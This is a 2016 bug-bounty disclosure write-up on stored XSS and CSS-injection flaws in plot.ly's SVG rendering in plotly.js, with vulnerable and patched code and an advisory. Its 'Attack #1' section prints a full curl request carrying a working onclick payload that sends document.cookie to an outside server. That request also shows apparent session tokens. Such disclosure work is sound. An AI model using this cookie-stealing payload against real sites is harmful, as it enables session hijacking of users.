How I hacked plot.ly by exploiting an SVG vulnerability in plotly.js

Aug 9, 2016

Index

Advisory
Overview
Attack #1
Attack #2
Report
CDN
Plotly’s Product and Security Policy
Closing
Timeline

Overview

A friend knew that I wanted to explore a SVG based product and recommended I check out plot.ly. I saw they had a minimal hackerone page targeting just their site so I headed over and created an account.

Attack #1

Logging in I began looking over their application. When I found the plot creation screen and viewed the source, I could see that plot.ly was rendering the SVG inside the DOM. Because plot.ly uses React, I knew immediately that my best chance for success was targeting the SVG itself.

I started fuzzing random inputs in the plot’s json object. It took me quiet a while but eventually I noticed that when I submitted just a single <span> character in a title field, a <tspan> set was returned and rendered inside the plot’s SVG. As this struck me as odd, I wrote a quick script to iterate through a list of html, xml, and svg nodes and see what would return. Most were filtered, but of the few that were not I began trying to test if I could break into the DOM using a standard OWASP list of vulnerable characters.

No luck.

Which led me to attaching different html attributes to the nodes. Quickly arriving at href which was converted to the xlink:href attriubute on the <a> tag. This is where I realized that with a specific string, I could break out into the DOM and inject a payload. I attached some js on the onclick function and tested dumping my cookie values to my server which was a success.

curl 'https://api.plot.ly/v2/plots/jfolkins4:1?allow_raw=true' -X PUT -H 'Origin: https://plot.ly' -H 'Accept-Encoding: gzip, deflate, sdch, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2806.0 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Referer: https://plot.ly/alpha/workspace/?fid=jfolkins4:1' -H 'Cookie: __insp_wid=27831418; __insp_nv=true; __insp_ref=aHR0cHM6Ly9wbG90Lmx5L29yZ2FuaXplL2hvbWU%3D; __insp_targlpu=https%3A%2F%2Fplot.ly%2Falpha%2Fworkspace%2F%3Ffid%3Djfolkins2%3A8; __insp_targlpt=Plotly; AWSELB=296F2D2B16D851992A5FF5CDA5674849B81CD605B18D343650EA0A95460A799A3E945A852865ED93DA1897C58297E442C1104126FB71F0DAD63ED5B0E9B39528A608A9397E; __utmt=1; anoncsrf=nFRR5X5yORosi8e9G0thpmB7FB5iWJoh; __utma=204621137.94893556.1469315074.1469393235.1469397621.9; __utmb=204621137.112.10.1469397621; __utmc=204621137; __utmz=204621137.1469315074.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mp_ad6df61d0b9400400b240631576c24d4_mixpanel=%7B%22distinct_id%22%3A%20%221561a00e9c83ab-0f418e04c84b17-62350f7f-13c680-1561a00e9c961d%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%2C%22Email%22%3A%20%22jfolkins%2Bplotly%40gmail.com%22%2C%22Username%22%3A%20%22jfolkins2%22%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpap%22%3A%20%5B%5D%2C%22__alias%22%3A%20%22jfolkins4%22%7D; _ceg.s=oaumpv; _ceg.u=oaumpv; __insp_sid=2302041118; __insp_uid=464597034; __insp_slim=1469413616721; mp_mixpanel__c=48; plotly_sess_pr=nrokvhlbgt3audzyprc9m5o1rv0n43sn; plotly_csrf_pr=OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' -H 'Connection: keep-alive' -H 'X-CSRFToken: OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' --data-binary '{"world_readable":true,"figure":{"data":[{"error_x":{"visible":false},"error_y":{"visible":false},"fill":"none","mode":"markers","showlegend":true,"hoverinfo":"x+y+z+text","opacity":1,"name":"B","ysrc":"jfolkins4:0:9b2a36","xsrc":"jfolkins4:0:3a3ce6","text":"","uid":"711e4c","visible":true,"index":0,"legendgroup":"","xaxis":"x","marker":{"symbol":"circle","opacity":1,"size":6,"color":"#1f77b4","line":{"color":"#444","width":0},"maxdisplayed":0},"type":"scatter","yaxis":"y","hoveron":"points"}],"layout":{"plot_bgcolor":"#fff","smith":false,"annotations":[],"width":800,"height":449.125,"titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":17,"color":"#444"},"showlegend":false,"paper_bgcolor":"#fff","margin":{"l":80,"r":80,"t":100,"b":80,"pad":0,"autoexpand":true},"separators":".,","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autosize":true,"shapes":[],"hidesources":false,"dragmode":"zoom","title":"<a href=\"#\" xlink:type=\"resource\"  xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","xaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"dtick":0.2,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tick0":0,"tickformat":"","anchor":"y","tickangle":"auto","ticks":"","side":"bottom","title":"<a href=\"#\" xlink:type=\"resource\"  xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","showticklabels":true,"type":"linear","zeroline":true,"range":[0.9371152154793316,2.0628847845206684],"gridcolor":"rgb(238, 238, 238)"},"yaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"dtick":0.2,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tick0":0,"tickformat":"","anchor":"x","tickangle":"auto","ticks":"","side":"left","title":"<a href=\"#\" xlink:type=\"resource\"  xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","showticklabels":true,"type":"linear","zeroline":true,"range":[0.9266837169650469,2.073316283034953],"gridcolor":"rgb(238, 238, 238)"},"hovermode":"closest"}}}' --compressed

Image1

img

Image2

img

Attack #2

I noticed that plot.ly was allowing the style attribute to be manipulated in the tag inside the embedded svg. I tested to see if background: url(http://example.com/image) would work in making an external cross domain request. It did. Also, because I could nest the tags, I could embed 1000s of different images to external urls. While on the surface this may not seem too severe it is helpful to remember that something like this would break many-a-company’s privacy policy. It also leaks data about your userbase and you don’t want that. Especially when the fix is simple. Every risk model is different but there you go, something to consider.

Image4

img

Image5

img

Image6

img

Report

As I was crafting the report, I was curious as to what piece of code was responsible. It was then that I searched for plotly on github and realized they have a massive OSS presence (doh!). I tried tracking down the code but I could not. The search term I was utilizing was a xlink:href but the entry I found could not possibly be the cause of the exploit.

if(tag === 'a') {
    if(close) return '</a>';
    else if(extra.substr(0, 4).toLowerCase() !== 'href') return '<a>';
    else {
        // remove quotes, leading '=', replace '&' with '&'
        var href = extra.substr(4)
            .replace(/["']/g, '')
            .replace(/=/, '')
            .replace(/&/g, '&');

        // check protocol
        var dummyAnchor = document.createElement('a');
        dummyAnchor.href = href;
        if(PROTOCOLS.indexOf(dummyAnchor.protocol) === -1) return '<a>';

        return '<a xlink:show="new" xlink:href="' + href + '">';
    }

I was really stumped. I went back to plot.ly’s site and downloaded their assets. Searching through them I found the code snip keying off of a xlink:href and what I found there was totally exploitable.

if(tag === 'a') {
        if(close) return '</a>';
        else if(extra.substr(0, 4).toLowerCase() !== 'href') return '<a>';
        else {
                var dummyAnchor = document.createElement('a');
                dummyAnchor.href = extra.substr(4).replace(/["'=]/g, '');

                if(PROTOCOLS.indexOf(dummyAnchor.protocol) === -1) return '<a>';

                return '<a xlink:show="new" xlink:href' + extra.substr(4) + '>';
        }
}

Now the lightbulb went on. I went back to the github repo and saw that the master branch had been updated 14 days prior with a fix. This fix had not made it into production though. Viewing the tag for the previous version, I found the offending code in the repo.

https://github.com/plotly/plotly.js/blob/v1.15.0/src/lib/svg_text_utils.js#L266-L281

https://github.com/plotly/plotly.js/blob/v1.14.2/src/lib/svg_text_utils.js#L262-L271

This initial patch also didn’t fix the info leak but upon explanation plot.ly applied a patch to filter the correct characters to prevent this.

CDN

At this time the fix has been backported on the CDN to versions 1.10.4 though I’d recommend everyone upgrade to Plotly.js v1.16.0.

Plotly’s Product and Security Policy

Plotly’s security policy was a bit underdeveloped making communication difficult for me at first. I am happy to say Jody and the https://plot.ly team listened to the feedback and dialed in their process. That is a wonderful indication of their intent to take security seriously. I hope this effort helps their future communications and that they get many more positive reports because of it.

Also, If you haven’t used https://plot.ly and need to create graphs and data visualizations I’d recommend checking it out. After literally hacking it I couldn’t help but be impressed at what their software is capable of.

*I don’t work for plot.ly nor have I accepted any form of incentive.

Closing

SVG is an incredibly painful document to try and secure. If you are embedding SVG into your site, stick with <img src="kitty.svg"...> so as to avoid having to sanitize the actual document. The attack surface is just too large. Keep in mind that even with <img> or <div style="background-image:url()"> you will face challenges as in my tests, some browsers will load external css or images. (I need to research this more)

If you are using <embed>, <object>, <iframe> with your SVGs you are probably asking for trouble. Don’t do that unless your application requires it.

In this case as SVG is a core part of Plot.ly’s impressive technical stack, they’ll have to continue investing to mitigate these types of attacks.

Advisory

Plotly.js < 1.16.0 is vulnerable in returning a malformed SVG which lead to a successful XSS attack on https://plot.ly.

Plotly.js < 1.16.0 is vulnerable to a css injection which allowed for tracking images to be embedded and other info leaks.

http://help.plot.ly/security-advisories/2016-08-08-plotlyjs-xss-advisory/

Timeline